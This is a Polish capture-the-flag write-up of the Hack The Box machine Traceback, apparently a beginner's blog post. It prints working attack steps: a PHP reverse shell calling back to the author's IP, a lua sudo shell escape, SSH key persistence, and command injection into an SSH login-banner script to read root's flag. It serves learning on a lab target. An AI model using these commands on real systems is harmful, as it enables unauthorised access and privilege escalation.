Hack The Box – Traceback

Wprowadzenie

Maszyna Traceback jest moją pierwszą zdobyczą. Od kilku ostatnich miesięcy z admina sieci przenoszę się na IT Security, co prawda bardziej ciągnie mnie w stronę Blue Team, ale znajomość technik ataków ułatwi wykrywanie atakujących. Wszystkich chętnych, który dopiero zaczynają zmagania w HTB, bądź podobnych serwisach zapraszam na mojego discorda. Zaznaczam, iż opis nie jest przeznaczony dla zaawansowanych użytkowników, bardziej służy usystematyzowaniu mojej wiedzy. Jeżeli tak jak ja dopiero zaczynasz hakowanie, to dobrze trafiłeś.

Rekonesans

Atakowana maszyna znajdowała się pod adresem 10.10.10.181. Pierwszym krokiem było przeskanowanie maszyny narzędziem nmap. Za pomocą polecenia:

nmap -sC -sV -oA nmapscan 10.10.10.181

Wynik skanowania:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-16 20:10 CEST
Nmap scan report for 10.10.10.181
Host is up (0.054s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

W między czasie uruchomiłem przeglądarkę i wpisałem adres IP maszyny, w celu sprawdzenia czy nie ma tam jakiegoś serwisu. Po załadowaniu strony, otrzymałem informację, że serwis już jest zhakowany.

Dirbuster

Jako, że na maszynie działa usługa http, postanowiłem sprawdzić czy uda się odszukać nazwy katalogów. Uruchomiłem narzędzie gobuster

gobuster dir -u http://10.10.10.181/ -w /usr/share/wordlists/dirb/common.txt

Wynik skanowania:

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.181/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/16 20:19:20 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2020/06/16 20:19:45 Finished
===============================================================

Kod źródłowy strony

Ponieważ działanie gobustera jest czasochłonne, postanowiłem zajrzeć w kod źródłowy strony. Jako niedoświadczony pentester pierwsze co zrobiłem, to za komentowany tekst przekopiowałem do wyszukiwarki google. Jeden z pierwszych wyników wskazywał na githuba i zbiór webshell’i, czyli ktoś zrobił już wieksząć cześć roboty za nas, musimy tylko sprawdzić jaki webshell został użyty. Przygotowałem listę z nazwami webshelli i jeszcze raz uruchomiłem dirbustera, ale tym razem z moją lista plików.

Webshell

Wynik skanowana wskazywał na webshell o nazwie smevk. Przejście na http://10.10.0.181/smevk.php wymagało autoryzacji, ale na szczęście na githubie był dostępny kod źródłowych, a z niego udało się wynikało, iż login i hasło to admin/admin. Webshell to połowa sukcesu, bardziej zależało mi na zestawieniu połączenia zwrotnego do mojej konsoli czyli reverse shell. Wiele przydatnych skrytpów znajdziecie pod tym linkiem.

Reverse Shell

Do zestawienia połączenia wykorzystałem reverse shell w php.

php -r '$sock=fsockopen("10.10.14.17",8081);exec("/bin/sh -i <&3 >&3 2>&3");'

gdzie 10.10.14.17 to adres IP mojego komputera, a 8081 to port na którym nasłuchuje. Każdemu polecam zapoznanie się z tmux’em ułatwia bardzo pracę w terminalu. Przed uruchomieniem reverse shella, przygotowałem mój komputer do nawiązania połączenia zwrotnego:

nc -lvnp 8081

Następnie w zakładce Console uruchomiłem wcześniej opisaną komendę. Połączenie zostało zestawione, ale sama praca w konsoli wymaga poprawny, mianowicie chiałem używać tabulatora przy wpisywaniu komend oraz mieć konsole normalnej szerokości. Żeby to osiągnąć przygotowałem odpowiednio sesje poprzez szereg komend:

Interaktywny shell

1. python3 -c 'import pty;pty.spawn("/bin/bash");'
2. wciskamy crtl-z
3. stty raw -echo
4. wpisujemy fg i enter x2
5. export TERM=screen
6. stty rows 100 cols 100

Enumeracja

Uzyskując dostęp poprzez reverse shella posiadamy uprawienia takie jak usługa na której uruchomiliśmy skrypt, dlatego kolejnym krokiem była próba pozyskania większej ilości informacji o systemie. Na szczęście nie trzeba tego robić ręcznie i można skorzystać z gotowych rozwiązań, takich jak LinPeas albo LinEnum. Pliki muszą zostać uruchomione lokalnie na przejętej maszynie, dlatego w pierwszej kolejności na lokalnym komputerze utworzyłem serwer http

python -m SimpleHTTPServer

Użytkownik na którym został uruchomiony reverse shell nie miał praw zapisu do /home dlatego zmieniłem katalog na /tmp. Następnie za pomocą polecenia wget pobrałem skrypt na maszynę.

http://10.10.14.17:8000/linpeas.sh

Jeżeli w wyniku skanowania mamy zapisy na czerwono, to ułatwi nam eskalacje uprawnień. Niestety w tym przypadku tak nie było. Na początku moją uwagę przykuła informacja:

Wynikało z niej, iż użytkownik webadmin może uruchomić skrypt /home/sysadmin/luvit z uprawnieniami użytkownika sysadmin bez konieczności podawania hasła. Sprawdziłem co to jest luvit. Znając język programowania możemy poszukać gotowych expolitów, idealnym miejscem do tego jest gftobins, a tam znalazłem:

lua -e 'os.execute("/bin/sh")'

które przerobiłem na:

Tym o to sposobem udało odczytać się flagę usera. Dla ułatwienia pracy, dodałem swój klucz ssh do autoryzowanych kluczy, aby nie zestawiać ponownie reverse shella. W katalogu tmp, utworzyłem nowy plik i wkopiowałem do niego mój klucz ssh. Dodanie przebiegło pomyślnie ponieważ sysadmin miał prawa do zapisu, ale nie zawsze tak jest.

cat auth_key >> ~/.ssh/authorized_keys

Podjąłem próbę zalogowania się do maszyny na konto sysadmina.

W kolejnych krokach musiał zdobyć flagę root. Ponownie uruchomiłem skrypt do enumeracji, tym razem już z uprawnieniami konta sysadmin. Było kilka rzeczy, które mi nie pasowały, jedną z nich jest baner po zalogowaniu się na ssh, a drugą wynik „interesujących plików”. Przyznam szczerze, że analizowanie wyników skanowania linpeas, czy też linenum zajęło mi sporo czasu.

Sprawdziłem zadania cron’a czy nie wykonuje czegoś na tych plikach, jednak nic ciekawego nie znalazłem, ale wiedziałem, ze „coś” modyfikuje pliki. Postanowiłem przyjrzeć się działającym procesom poprzez wydanie polecnia:

ps aux
/bin/sh -c sleep30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

Katalog update-motd.d jest odtwarzany co 30 sekund. Postanowiłem przyjrzeć się co znajduje się w tych plikach. Okazało się, iż 00-header jest odpowiedzialny za wyświetlenie naszego baner po zalogowaniu do ssh. Spróbowałem dodać podstawowe komendy, aby sparwdzić czy zostaną wykonane polecenia systemowe, jako pierwsze spróbowałem „id”

echo 'id' >> /etc/update-motd.d/00-header

Konsola z tumxe’em w tym przypadku sprawdziła się idealnie, ponieważ pliki odtwarzają się co 30 sekund, musiałem działać szybko. Podzieliłem ekran konsoli, wpisują już dane do logowania, na drugiej części przygotowałem polecenie z dodaniem 'id’, enter szybkie przełączenie na część z logowaniem i udało się, baner wykonuje także zapytania systemowe. 

Odczytanie flagi root’a było juz dość poste

echo "cat /root/root.txt" >> /etc/update-motd.d/00-header

Podsumowanie

Poziom trudności Traceback, to 4.4/10, także można uznać ją za dość łatwą maszynę. Największym problemem był analiza wyników skanowania z enumeracji i dalsza eskalacja uprawnień. Pewnie dla bardziej zaawansowanych użytkowników HTB, maszyna była faktycznie łatwa do zdobycia, jednak ode mnie wymagało, to trochę większej pracy. Mam nadzieje, iż opis przypadnie wam do gustu, zamierzam kontynuować zmagania z HTB, a efekty prac opisywać na blogu. Podsymowując

1. Na serwerze znajdował się webshell, co zaoszczędziło pracy nad wgraniem własnego
2. Dostęp do webshella był na domyślnych poświadczeniach
3. Użytkownik webadmin bez konieczności podania hasła mógł używać interpretera lua jako sysadmin
4. Użytkownik sysadmin, mógł modyfikować zawartośc 00-header, odpowidzialnego za wyśwetlanie baneru po zalogowaniu do ssh 

Add a Comment

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *